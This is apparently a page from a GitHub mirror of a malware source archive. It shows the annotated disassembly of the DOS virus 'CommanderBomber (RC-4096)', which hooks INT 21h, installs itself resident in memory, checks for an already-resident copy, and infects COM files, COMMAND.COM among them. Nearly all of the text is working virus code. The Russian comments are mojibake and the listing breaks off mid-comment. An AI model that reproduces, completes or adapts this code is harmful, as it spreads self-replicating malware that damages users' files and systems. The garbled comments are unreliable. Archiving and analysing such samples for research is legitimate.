mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2039 lines
163 KiB
Plaintext
2039 lines
163 KiB
Plaintext
|
;==============================================================================
|
|||
|
; VIRUS : CommnaderBomber (RC-4096)
|
|||
|
;==============================================================================
|
|||
|
COMMENT *
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> 䠩<><E4A0A9> ⨯<> COM <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥ <20><> <20>믮<EFBFBD><EBAFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (DOS func 4Bh). <20><>-
|
|||
|
<20><><EFBFBD> <20><> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> 䠩<> COMMAND.COM. COM-<2D><>ଠ<EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>ᢨ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
"MZ" <20><><EFBFBD> "ZM" <20> <20><>砫<EFBFBD> 䠩<><E4A0A9>.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>뤠<EFBFBD><EBA4A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⬮<EFBFBD> <20><><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>⨢<EFBFBD><E2A8A2><EFBFBD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><> <20>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> १<><E0A5A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD> 31h (TSR) <20><><EFBFBD>-
|
|||
|
<20><>樮<EFBFBD><E6A8AE><EFBFBD><EFBFBD> <20><><EFBFBD>⥬<EFBFBD>. <20>祢<EFBFBD><E7A5A2><EFBFBD><EFBFBD>, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>⠫<EFBFBD><E2A0AB> ॠ<><E0A5A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>祣<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> <20><>墠<EFBFBD><E5A2A0> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㭪樨 <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>०<EFBFBD><E0A5A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>।<EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD> <><E1ABAE><EFBFBD><EFBFBD>⥩. <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢨<EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>饩 <20>㭪樨 DOS (func 424Fh). <20><><EFBFBD> <20>⮬ <20> <20><><EFBFBD><EFBFBD><EFBFBD>ᢥ <20><>-
|
|||
|
<> <20>ਬ<EFBFBD><E0A8AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <> "BO", <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD>⢥ <20>⢥<EFBFBD><E2A2A5> - <20><><EFBFBD>ன <> "MB" -
|
|||
|
<20><> "BOMB".
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> ࠡ<><E0A0A1><EFBFBD>ᯮᮡ<E1AFAE><E1AEA1> ⮫쪮 <20> MS-DOS <20><><EFBFBD>ᨨ 3.0 <20> <20><><EFBFBD><EFBFBD>.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਧ<EFBFBD><E0A8A7><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⮣<EFBFBD> <20><> <20><>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>쭮 <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᠬ<><E1A0AC><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>୮<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>.
|
|||
|
<20> <20>ਭ樯<E0A8AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⮣<EFBFBD> <20><>
|
|||
|
<20>ந<EFBFBD>室<EFBFBD><E5AEA4>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠧ <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>१<EFBFBD><E0A5A7><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0>
|
|||
|
⥫<> <20>ணࠬ<E0AEA3><E0A0AC> <20> ⮬ <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD> <20><> <20>⮩ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD> <20>⮬ <20>ந<EFBFBD>室<EFBFBD><E5AEA4> <20><>ᥪ<EFBFBD><E1A5AA><EFBFBD><EFBFBD> <20>ᥣ<EFBFBD> <20><>譥<EFBFBD><E8ADA5>. <20>.<2E>. <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥ <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
<20><><EFBFBD>⭮ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><>ᥪ<EFBFBD><E1A5AA><EFBFBD> <20><><EFBFBD>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><> <20>ࠪ⨪<E0A0AA> <20><><EFBFBD> <20>룫뤨<EBA3AB> ⠪: <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> <20><><EFBFBD> <20><>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD>⭮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> ࠧ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD>, <20> <20><> 类<><EFAAAE> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ-
|
|||
|
<20><>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⮫쪮 <20><><EFBFBD> <20><><EFBFBD>楯<EFBFBD><E6A5AF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ᥪ<EFBFBD><E1A5AA><EFBFBD><EFBFBD><EFBFBD> <20><>ࢮ<EFBFBD> <20><>-
|
|||
|
<20><><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠧ<EFBFBD><E0A0A7>, <20><>ࠧ<EFBFBD><E0A0A7> 䠩<>, <20><><EFBFBD><EFBFBD><EFBFBD> <20>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6> <20><><EFBFBD> <20>⨬ 䠩<><E4A0A9><EFBFBD> -
|
|||
|
<20><> <20>ய<EFBFBD>᪠<EFBFBD><E1AAA0> <20><> <><E1A2AE> ᮡ<><E1AEA1><EFBFBD>쥢, <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><>㣮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⢨<EFBFBD>
|
|||
|
<20><><EFBFBD>쬠 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ࠡ<><E0A0A1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>ᮡ<EFBFBD><E1AEA1><EFBFBD><EFBFBD>, <20> <20><><EFBFBD>짮<EFBFBD><ECA7AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>᪥⠬<E1AAA5>. <20><><EFBFBD> <20><><EFBFBD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⭠<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>᪠ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3> <20>㤥<EFBFBD> <20><><EFBFBD>쬠
|
|||
|
<20><><EFBFBD><EFBFBD>⭠ <20><><EFBFBD> <20><><EFBFBD>짮<EFBFBD><ECA7AE>⥫<EFBFBD>.
|
|||
|
<20>᭮<EFBFBD><E1ADAE><EFBFBD><EFBFBD> <20><><EFBFBD><EEACA8><EFBFBD> <20>।<EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> <><EFA2AB><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>쬠 <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><E1AAAE><EFBFBD><EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> i8086.
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⬥<EFBFBD><E2ACA5><EFBFBD><EFBFBD>, <20><><EFBFBD> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ᮢ<><E1AEA2>襭<EFBFBD><E8A5AD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1ABA5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20>।<EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᮡ<><E1AEA1> <><E1A2AE><EFBFBD>ࠧ<EFBFBD><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>। <20><><EFBFBD><EFBFBD><E1ABAE><EFBFBD>
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD>뢠<EFBFBD><EBA2A0> ⠪<><E2A0AA> <20><><EFBFBD><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>".
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD> ⠪<><E2A0AA> <20>ਬ<EFBFBD><E0A8AC><EFBFBD>⥫<EFBFBD><E2A5AB> ⥬, <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਬ<EFBFBD><E0A8AC><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD>" 䠩<><E4A0A9>, <20>.<2E>. <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ନ<EFBFBD><E0ACA8><EFBFBD><EFBFBD> <20> ⥫<> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> <20>⤥<EFBFBD><E2A4A5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
<20><> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⥭ᨢ<E2A5AD><E1A8A2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> ᮡ<><E1AEA1> <20><><EFBFBD>।<EFBFBD>⢮<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>-
|
|||
|
।<><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> CALL, JMP, RET. <20><><EFBFBD> <20>⮬ <20><><EFBFBD><EFBFBD>⪨ <20><><EFBFBD><EFBFBD> <20><>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20>ᥩ
|
|||
|
<20>ணࠬ<E0AEA3><E0A0AC> <20> ᠬ<><E1A0AC> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ᠬ<><E1A0AC> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
<20><><EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>।<EFBFBD><E0A5A4><EFBFBD> <20><>ࠢ<EFBFBD><E0A0A2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>쭮 <20><>⥭ᨢ<E2A5AD><E1A8A2>
|
|||
|
<20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>⥪<EFBFBD><E2A5AA><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> HEAP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>), <20><>ନ<EFBFBD><E0ACA8><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨<EFBFBD>
|
|||
|
<20><><EFBFBD>ᨢ<EFBFBD>.
|
|||
|
*
|
|||
|
|
|||
|
in_reg equ 00000010b ; <20><><EFBFBD><EFBFBD><EFBFBD>뫪<EFBFBD> <20> ॣ<><E0A5A3><EFBFBD><EFBFBD>
|
|||
|
out_reg equ 00000000b ; <20><><EFBFBD><EFBFBD><EFBFBD>뫪<EFBFBD> <20><> ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
BY_BYTE equ 00000000b ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⠬<EFBFBD>
|
|||
|
BY_WORD equ 00000001b ; <20><><EFBFBD><EFBFBD><EFBFBD> <><E1ABAE><EFBFBD><EFBFBD>
|
|||
|
SEG_REGs equ 00011000b ; <20><>᪠ ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD>
|
|||
|
|
|||
|
dop macro Operation,Direction
|
|||
|
db Operation or Direction
|
|||
|
dop endm
|
|||
|
|
|||
|
seg_a segment byte public use16
|
|||
|
assume cs:seg_a, ds:seg_a
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
Start label near
|
|||
|
|
|||
|
0100 Vir_start:
|
|||
|
0100 33 E4 xor sp,sp ; <20>࣠<EFBFBD><E0A3A0><EFBFBD>㥬 <20>⥪ <20><> <20><><EFBFBD>設<EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0102 FB sti ; Enable interrupts
|
|||
|
0103 E8 0074 call sub_017A
|
|||
|
;----------------------------------------------------------------------------------------------------------
|
|||
|
0106 .43 4F 4D 4D 41 4E Copyright db 'COMMANDER BOMBER WAS HERE'
|
|||
|
010C 44 45 52 20 42 4F
|
|||
|
0112 4D 42 45 52 20 57
|
|||
|
0118 41 53 20 48 45 52
|
|||
|
011E 45
|
|||
|
;----------------------------------------------------------------------------------------------------------
|
|||
|
011F loc_011F:
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD>墠<EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD> INT 21h ---------------
|
|||
|
011F B8 3521 mov ax,3521h
|
|||
|
0122 CD 21 int 21h ; DOS Services ah=function 35h
|
|||
|
; get intrpt vector al in es:bx
|
|||
|
0124 89 1E 0235 mov ds:data_0235,bx
|
|||
|
0128 8C 06 0237 mov ds:data_0237,es
|
|||
|
012C .BA 022A mov dx,offset sub_022A
|
|||
|
012F B4 25 mov ah,25h
|
|||
|
0131 CD 21 int 21h ; DOS Services ah=function 25h
|
|||
|
; set intrpt vector al to ds:dx
|
|||
|
0133 E8 0942 call RANDOMIZE ; <20><><EFBFBD><EFBFBD>ன<EFBFBD><E0AEA9> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;--------------- <20><EFBFBD><E1A2AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD> ----------------------
|
|||
|
0136 8E 1E 002C mov ds,ds:[002Ch]
|
|||
|
013A 8B D5 mov dx,bp
|
|||
|
013C 1E push ds
|
|||
|
013D 07 pop es ; ES = DS
|
|||
|
013E B4 49 mov ah,49h
|
|||
|
0140 CD 21 int 21h ; DOS Services ah=function 49h
|
|||
|
; release memory block, es=seg
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD>ࠧ<EFBFBD><E0A0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -----------------
|
|||
|
0142 0E push cs
|
|||
|
0143 07 pop es
|
|||
|
0144 BB 00AC mov bx,(Vir_END - Vir_Start + 0100h) / 16
|
|||
|
0147 B4 4A mov ah,4Ah
|
|||
|
0149 CD 21 int 21h ; DOS Services ah=function 4Ah
|
|||
|
; change memory allocation
|
|||
|
; bx=bytes/16, es=mem segment
|
|||
|
;--------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---------------------------------
|
|||
|
014B .BB 016C mov bx,offset data_016C
|
|||
|
014E 26: 8C 47 04 mov es:[bx+4],es
|
|||
|
0152 26: 8C 47 08 mov es:[bx+8],es
|
|||
|
0156 26: 8C 47 0C mov es:[bx+0Ch],es
|
|||
|
015A B8 4B00 mov ax,4B00h
|
|||
|
015D CD 21 int 21h ; DOS Services ah=function 4Bh
|
|||
|
; run progm @ds:dx, parm @es:bx
|
|||
|
015F 72 04 jc short loc_0165 ; Jump if carry Set
|
|||
|
0161 B4 4D mov ah,4Dh
|
|||
|
0163 CD 21 int 21h ; DOS Services ah=function 4Dh
|
|||
|
; get return code info in ax
|
|||
|
0165 loc_0165:
|
|||
|
0165 BA 00AC mov dx,Vir_END / 16
|
|||
|
0168 B4 31 mov ah,31h
|
|||
|
016A CD 21 int 21h ; DOS Services ah=function 31h
|
|||
|
; terminate & stay resident
|
|||
|
; al=return code,dx=paragraphs
|
|||
|
;----------------------------------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><>ࠬ<EFBFBD><E0A0AC> EXEC
|
|||
|
016C 00 data_016C db 0
|
|||
|
016D 00 80 00 CC 0F 5C db 00h, 80h, 00h,0CCh, 0Fh, 5Ch
|
|||
|
0173 00 CC 0F 6C 00 CC db 00h,0CCh, 0Fh, 6Ch, 00h,0CCh
|
|||
|
0179 0F db 0Fh
|
|||
|
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
sub_017A:
|
|||
|
017A FC cld ; Clear direction
|
|||
|
017B 5E pop si ; SI = offset Copyright
|
|||
|
017C 83 EE 06 sub si,offset Copyright - offset Vir_start
|
|||
|
; SI = absolute address base
|
|||
|
017F 0E push cs
|
|||
|
0180 1F pop ds ; DS = CS
|
|||
|
0181 1E push ds
|
|||
|
0182 07 pop es ; ES = CS
|
|||
|
0183 33 C0 xor ax,ax ; Zero register
|
|||
|
; Create small procedure at address 00FCh
|
|||
|
;----------------------------
|
|||
|
; 00FC F3 repz
|
|||
|
; 00FD A5 movsw ; Movsb ds:[si] to es:[di]
|
|||
|
; 00FE EB 1F jmp loc_011F
|
|||
|
;----------------------------
|
|||
|
0185 BF 00FC mov di,offset start - 4
|
|||
|
0188 50 push ax
|
|||
|
0189 57 push di
|
|||
|
018A B8 A5F3 mov ax,0A5F3h
|
|||
|
018D AB stosw ; Store ax to es:[di]
|
|||
|
; di=di+2, di=00FEh
|
|||
|
018E B8 1FEB mov ax,1FEBh
|
|||
|
0191 AB stosw ; Store ax to es:[di]
|
|||
|
; di=di+2, di=0100h
|
|||
|
; -------------- <20><EFBFBD>ઠ <20><><EFBFBD>ᨨ DOS ------------
|
|||
|
; <20><><EFBFBD> DOS <20><><EFBFBD>ᨨ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 祬 3.x <20><><EFBFBD><EFBFBD><EFBFBD> <20><> ࠡ<>⠥<EFBFBD>
|
|||
|
0192 B4 30 mov ah,30h
|
|||
|
0194 CD 21 int 21h ; DOS Services ah=function 30h
|
|||
|
; get DOS version number ax
|
|||
|
0196 3C 03 cmp al,3
|
|||
|
0198 72 5D jb short loc_01F7 ; Jump if below
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DOS 3.x+ <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⥬<EFBFBD><E2A5AC><EFBFBD><EFBFBD> <20><><EFBFBD>㦥<EFBFBD><E3A6A5><EFBFBD> <20><><EFBFBD><EFBFBD> <20><>ப<EFBFBD>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>. <20>饬 <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
019A 56 push si
|
|||
|
019B 33 F6 xor si,si
|
|||
|
019D 8E 5C 2C mov ds,[si+2Ch] ; DS = DOS environ segment
|
|||
|
01A0 loc_01A0:
|
|||
|
01A0 AD lodsw ; String [si] to ax
|
|||
|
01A1 4E dec si
|
|||
|
01A2 0B C0 or ax,ax ; Zero ?
|
|||
|
01A4 75 FA jnz loc_01A0 ; Jump if not 00
|
|||
|
01A6 8D 6C 03 lea bp,[si+3] ; DS:BP - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
01A9 5E pop si
|
|||
|
; -------------- <20><EFBFBD>ઠ १<><E0A5A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0AEAB> <20><>१ INT 21h --------
|
|||
|
; <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD> 42h <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>騬 <20><>⮤<EFBFBD><E2AEA4> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> 4Fh
|
|||
|
01AA B8 424F mov ax,'BO'
|
|||
|
01AD CD 21 int 21h ; DOS Services ah=function 42h
|
|||
|
01AF 3D 4D42 cmp ax,'MB'
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD> १<><E0A5A7><EFBFBD><EFBFBD>⥭, <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ண-
|
|||
|
; ࠬ<><E0A0AC>-<2D><><EFBFBD><EFBFBD>⥫<EFBFBD>, <20>㦭<EFBFBD> <20><>⨢<EFBFBD><E2A8A2><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> <20><><EFBFBD>ᠥ<EFBFBD> <20> <20><><EFBFBD>।
|
|||
|
